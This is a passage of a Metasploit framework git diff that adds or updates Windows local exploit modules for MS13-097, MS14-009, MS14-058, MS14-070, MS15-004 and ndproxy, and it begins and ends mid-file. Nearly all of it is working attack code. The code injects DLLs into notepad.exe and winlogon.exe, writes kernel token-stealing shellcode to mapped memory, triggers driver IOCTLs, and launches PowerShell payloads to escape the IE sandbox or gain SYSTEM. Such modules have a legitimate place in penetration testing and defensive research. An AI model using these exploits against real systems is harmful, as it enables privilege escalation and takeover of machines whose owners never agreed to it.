sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + print_status("Launching notepad to host the exploit...") + notepad_process_pid = cmd_exec_get_pid("notepad.exe") + begin + process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + print_status("Operation failed. Hosting exploit in the current process...") + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll") + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + thread = process.thread.create(exploit_mem + offset) + client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000) + + client.sys.process.each_process do |p| + if p['name'] == "winlogon.exe" + winlogon_pid = p['pid'] + print_status("Found winlogon.exe with PID #{winlogon_pid}") + + if execute_shellcode(payload.encoded, nil, winlogon_pid) + print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell") + else + print_error("Failed to start payload thread") + end + + break + end + end + end + +end + diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index 27f7bcec58..77510207e5 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb new file mode 100644 index 0000000000..de49e4a47d --- /dev/null +++ b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpServer + include Msf::Post::Windows::Priv + + def initialize(info={}) + super( update_info( info, + 'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape', + 'Description' => %q{ + This module exploits a vulnerability in Internet Explorer Sandbox which allows to + escape the Enhanced Protected Mode and execute code with Medium Integrity. The + vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll + component, which can be abused to force medium integrity IE to user influenced keys. + By using registry symlinks it's possible force IE to add a policy entry in the registry + and finally bypass Enhanced Protected Mode. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Forshaw', # Vulnerability Discovery and original exploit code + 'juan vazquez' # metasploit module + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => + [ + [ 'IE 8 - 11', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Dec 10 2013", + 'References' => + [ + ['CVE', '2013-5045'], + ['MSB', 'MS13-097'], + ['BID', '64115'], + ['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] + ] + )) + + register_options( + [ + OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]) + ]) + end + + def exploit + print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? + + mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') + if mod_handle['return'] == 0 + fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") + end + + unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NotVulnerable, "Not running at Low Integrity") + end + + begin + Timeout.timeout(datastore['DELAY']) { super } + rescue Timeout::Error + end + + session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil) + session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil) + end + + def primer + cmd = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + { + :remove_comspec => true + } + ) + + cmd.gsub!('powershell.exe ','') + session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd) + + html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html" + session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri) + + temp = get_env('TEMP') + + print_status("Loading Exploit Library...") + + session.core.load_library( + 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"), + 'TargetFilePath' => temp + "\\CVE-2013-5045.dll", + 'UploadLibrary' => true, + 'Extension' => false, + 'SaveToDisk' => false + ) + end + + def on_request_uri(cli, request) + if request.uri =~ /\.html$/ + print_status("Sending window close html...") + close_html = <<-eos + + + + + + eos + send_response(cli, close_html, { 'Content-Type' => 'text/html' }) + else + send_not_found(cli) + end + end + +end + diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb new file mode 100644 index 0000000000..da8978c455 --- /dev/null +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -0,0 +1,180 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::EXE + include Msf::Post::Windows::Priv + include Msf::Post::Windows::FileInfo + include Msf::Post::File + + NET_VERSIONS = { + '4.5' => { + 'dfsvc' => '4.0.30319.17929.17', + 'mscorlib' => '4.0.30319.18063.18' + }, + '4.5.1' => { + 'dfsvc' => '4.0.30319.18408.18', + 'mscorlib' => '4.0.30319.18444.18' + } + } + + def initialize(info={}) + super( update_info( info, + 'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape', + 'Description' => %q{ + This module abuses a process creation policy in Internet Explorer's sandbox, specifically + in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the + Enhanced Protected Mode, and execute code with Medium Integrity. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Forshaw', # Vulnerability Discovery and original exploit code + 'juan vazquez' # metasploit module + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + [ 'IE 8 - 11', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'WfsDelay' => 30 + }, + 'DisclosureDate'=> "Feb 11 2014", + 'References' => + [ + ['CVE', '2014-0257'], + ['MSB', 'MS14-009'], + ['BID', '65417'], + ['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] + ] + )) + end + + def check + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + return Exploit::CheckCode::Unknown + end + + net_version = get_net_version + + if net_version.empty? + return Exploit::CheckCode::Unknown + end + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + return Exploit::CheckCode::Detected + end + + mscorlib_version = get_mscorlib_version + + if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"]) + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Vulnerable + end + + def get_net_version + net_version = "" + + dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + dfsvc_version = dfsvc_version.join(".") + + NET_VERSIONS.each do |k,v| + if v["dfsvc"] == dfsvc_version + net_version = k + end + end + + net_version + end + + def get_mscorlib_version + mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + mscorlib_version.join(".") + end + + def exploit + print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? + + mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') + if mod_handle['return'] == 0 + fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") + end + + unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NotVulnerable, "Not running at Low Integrity") + end + + print_status("Searching .NET Deployment Service (dfsvc.exe)...") + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found") + end + + net_version = get_net_version + + if net_version.empty? + fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1") + end + + print_good(".NET Deployment Service from .NET #{net_version} found.") + + print_status("Checking if .NET is patched...") + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)") + end + + mscorlib_version = get_mscorlib_version + + if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"]) + fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable") + end + + print_good(".NET looks vulnerable, exploiting...") + + cmd = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + { + :remove_comspec => true + } + ) + + cmd.gsub!('powershell.exe ','') + session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd) + + temp = get_env('TEMP') + + print_status("Loading Exploit Library...") + + session.core.load_library( + 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"), + 'TargetFilePath' => temp + "\\CVE-2014-0257.dll", + 'UploadLibrary' => true, + 'Extension' => false, + 'SaveToDisk' => false + ) + end + + def cleanup + session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil) + super + end + +end + diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb new file mode 100644 index 0000000000..e6a388f10c --- /dev/null +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference', + 'Description' => %q{ + This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability + can be triggered through the use of TrackPopupMenu. Under special conditions, the + NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary + code execution. This module has been tested successfully on Windows XP SP3, Windows + 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows + 2008 R2 SP1 64 bits. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # vulnerability discovery and exploit in the wild + 'juan vazquez', # msf module (x86 target) + 'Spencer McIntyre', # msf module (x64 target) + 'OJ Reeves ' + ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + # Tested on (32 bits): + # * Windows XP SP3 + # * Windows 2003 SP2 + # * Windows 7 SP1 + # * Windows 2008 + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + # Tested on (64 bits): + # * Windows 7 SP1 + # * Windows 2008 R2 SP1 + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + ['CVE', '2014-4113'], + ['OSVDB', '113167'], + ['BID', '70364'], + ['MSB', 'MS14-058'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'] + ], + 'DisclosureDate' => 'Oct 14 2014', + 'DefaultTarget' => 0 + })) + end + + def check + os = sysinfo["OS"] + + if os !~ /windows/i + return Exploit::CheckCode::Unknown + end + + if sysinfo["Architecture"] =~ /(wow|x)64/i + arch = ARCH_X86_64 + elsif sysinfo["Architecture"] =~ /x86/i + arch = ARCH_X86 + end + + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + major, minor, build, revision, branch = file_version(file_path) + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + # Neither target suports Windows 8 or 8.1 + return Exploit::CheckCode::Safe if build == 9200 + return Exploit::CheckCode::Safe if build == 9600 + + return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build) + + return Exploit::CheckCode::Unknown + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if check == Exploit::CheckCode::Safe + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86 + fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') + elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64 + fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') + end + + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + # Reader Sandbox won't allow to create a new process: + # stdapi_sys_process_execute: Operation failed: Access is denied. + print_status('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + if target.arch.first == ARCH_X86 + dll_file_name = 'cve-2014-4113.x86.dll' + else + dll_file_name = 'cve-2014-4113.x64.dll' + end + + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name) + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end + +end diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb new file mode 100644 index 0000000000..bdfe648cff --- /dev/null +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference', + 'Description' => %q{ + A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys + can allow a local attacker to trigger a NULL pointer dereference by using a + specially crafted IOCTL. This flaw can be abused to elevate privileges to + SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin ', # Vulnerability discovery and PoC + 'Jay Smith ' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + ['Windows Server 2003 SP2', + { + '_KPROCESS' => "\x38", + '_TOKEN' => "\xd8", + '_UPID' => "\x94", + '_APLINKS' => "\x98" + } + ] + ], + 'References' => + [ + ['CVE', '2014-4076'], + ['MSB', 'MS14-070'], + ['OSVDB', '114532'], + ['URL', 'https://blog.korelogic.com/blog/2015/01/28/2k3_tcpip_setaddroptions_exploit_dev'], + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt'] + ], + 'DisclosureDate'=> 'Nov 11 2014', + 'DefaultTarget' => 0 + })) + + end + + def check + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + return Exploit::CheckCode::Safe unless handle + + session.railgun.kernel32.CloseHandle(handle) + + file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys" + unless file?(file_path) + return Exploit::CheckCode::Unknown + end + + major, minor, build, revision, branch = file_version(file_path) + vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440) + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? + fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device") + end + + print_status("Storing the shellcode in memory...") + this_proc = session.sys.process.open + + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE") + + unless this_proc.memory.writable?(0x1000) + fail_with(Failure::Unknown, 'Failed to allocate memory') + end + + buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + + sc = token_stealing_shellcode(target, nil, nil, false) + # move up the stack frames looking for nt!KiSystemServicePostCall + sc << "\x31\xc9" # xor ecx, ecx + sc << "\x89\xeb" # mov ebx, ebp + # count_frames + sc << "\x41" # inc ecx + sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000 + sc << "\x8b\x1b" # mov ebx, dword [ebx] + sc << "\x75\xf4" # jne short count_frames + sc << "\x49" # dec ecx + # loop_frames + sc << "\x49" # dec ecx + sc << "\x89\xec" # mov esp, ebp + sc << "\x5d" # pop ebp + sc << "\x83\xf9\x00" # cmp ecx, 0 + sc << "\x75\xf7" # jne loop_frames + sc << "\x31\xc0" # xor eax, eax + sc << "\xc3" # ret + + this_proc.memory.write(0x28, "\x87\xff\xff\x38") + this_proc.memory.write(0x38, "\x00\x00") + this_proc.memory.write(0x1100, buf) + this_proc.memory.write(0x2b, "\x00\x00") + this_proc.memory.write(0x2000, sc) + + print_status("Triggering the vulnerability...") + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0) + #session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it + + print_status("Checking privileges after exploitation...") + + unless is_system? + fail_with(Failure::Unknown, "The exploitation wasn't successful") + end + + print_good("Exploitation successful!") + unless execute_shellcode(payload.encoded, nil, this_proc.pid) + fail_with(Failure::Unknown, 'Error while executing the payload') + end + end + +end diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb new file mode 100644 index 0000000000..6aa7b540a8 --- /dev/null +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape', + 'Description' => %q{ + This module abuses a process creation policy in Internet Explorer's + sandbox; specifically, Microsoft's RemoteApp and Desktop Connections runtime + proxy, TSWbPrxy.exe. This vulnerability allows the attacker to escape the + Protected Mode and execute code with Medium Integrity. At the moment, this + module only bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This + module has been tested successfully on Windows 7 SP1 (32 bits) with IE 8 and IE + 11. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # From Threat Intel of Symantec + 'Henry Li', # Public vulnerability analysis + 'juan vazquez' # Metasploit module + ], + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'Arch' => [ARCH_X86], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 30 + }, + 'Targets' => + [ + [ 'Protected Mode (Windows 7) / 32 bits', + { + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + ['CVE', '2015-0016'], + ['MSB', 'MS15-004'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/'] + ], + 'DisclosureDate' => 'Jan 13 2015' + })) + end + + def check + temp = get_env('WINDIR') + dll_path = "#{temp}\\System32\\TSWbPrxy.exe" + + win_ver = sysinfo['OS'] + + unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/ + return Exploit::CheckCode::Safe + end + + unless file_exist?(dll_path) + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Detected + end + + def exploit + print_status('Checking target...') + unless check == Exploit::CheckCode::Detected + fail_with(Failure::NotVulnerable, 'System not vulnerable') + end + + if session.platform !~ /^x86\// + fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment') + end + + win_ver = sysinfo['OS'] + if win_ver =~ /Windows 2012|Windows 8/ + fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment') + end + + print_status('Checking the Process Integrity Level...') + + unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NotVulnerable, 'Not running at Low Integrity') + end + + cmd = cmd_psh_payload( + payload.encoded, + payload_instance.arch.first, + { :remove_comspec => true } + ) + + print_status('Storing payload on environment variable...') + cmd.gsub!('powershell.exe ','') + session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd) + + print_status('Exploiting...') + temp = get_env('TEMP') + # Using the old meterpreter loader, if it's loaded with + # Reflective DLL Injection the exceptions in the sandbox + # policy won't apply. + session.core.load_library( + 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'), + 'TargetFilePath' => temp + '\\cve-2015-0016.dll', + 'UploadLibrary' => true, + 'Extension' => false, + 'SaveToDisk' => false + ) + end + + def cleanup + session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil) + super + end + +end diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index cef0f217a2..ec3c8e4539 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -1,22 +1,24 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking + include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process - def initialize(info={}) + def initialize(info = {}) super(update_info(info, { - 'Name' => 'Microsoft Windows ndproxy.sys Local Privilege Escalation', - 'Description' => %q{ + 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation', + 'Description' => %q( This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003 SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used @@ -24,31 +26,31 @@ class Metasploit3 < Msf::Exploit::Local pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to work the service "Routing and Remote Access" must be running on the target system. - }, - 'License' => MSF_LICENSE, - 'Author' => + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Unknown', # Vulnerability discovery 'ryujin', # python PoC 'Shahin Ramezany', # C PoC 'juan vazquez' # MSF module ], - 'Arch' => ARCH_X86, - 'Platform' => 'win', - 'Payload' => + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'Payload' => { - 'Space' => 4096, + 'Space' => 4096, 'DisableNops' => true }, - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, - 'Targets' => + 'Targets' => [ - [ 'Automatic', { } ], - [ 'Windows XP SP3', + ['Automatic', {}], + ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct @@ -57,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct } ], - [ 'Windows Server 2003 SP2', + ['Windows Server 2003 SP2', { 'HaliQuerySystemInfo' => 0x1fa1e, '_KPROCESS' => "\x38", @@ -67,114 +69,38 @@ class Metasploit3 < Msf::Exploit::Local } ] ], - 'References' => + 'References' => [ - [ 'CVE', '2013-5065' ], - [ 'OSVDB' , '100368'], - [ 'BID', '63971' ], - [ 'EDB', '30014' ], - [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ], - [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'], - [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ], - [ 'URL', 'http://www.secniu.com/blog/?p=53' ], - [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ], - [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ] + %w(CVE 2013-5065), + %w(MSB MS14-002), + %w(OSVDB 100368), + %w(BID 63971), + %w(EDB 30014), + %w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/), + %w(URL http://technet.microsoft.com/en-us/security/advisory/2914486), + %w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp), + %w(URL http://www.secniu.com/blog/?p=53), + %w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html), + %w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html) ], - 'DisclosureDate'=> 'Nov 27 2013', - 'DefaultTarget' => 0 + 'DisclosureDate' => 'Nov 27 2013', + 'DefaultTarget' => 0 })) - - end - - def add_railgun_functions - session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi') - session.railgun.add_function( - 'psapi', - 'EnumDeviceDrivers', - 'BOOL', - [ - ["PBLOB", "lpImageBase", "out"], - ["DWORD", "cb", "in"], - ["PDWORD", "lpcbNeeded", "out"] - ]) - session.railgun.add_function( - 'psapi', - 'GetDeviceDriverBaseNameA', - 'DWORD', - [ - ["LPVOID", "ImageBase", "in"], - ["PBLOB", "lpBaseName", "out"], - ["DWORD", "nSize", "in"] - ]) - end - - def open_device(dev) - - invalid_handle_value = 0xFFFFFFFF - - r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0) - - handle = r['return'] - - if handle == invalid_handle_value - return nil - end - - return handle - end - - def find_sys_base(drvname) - results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) - addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") - - addresses.each do |address| - results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) - current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname == nil - if current_drvname.downcase.include?('krnl') - return [address, current_drvname] - end - elsif drvname == 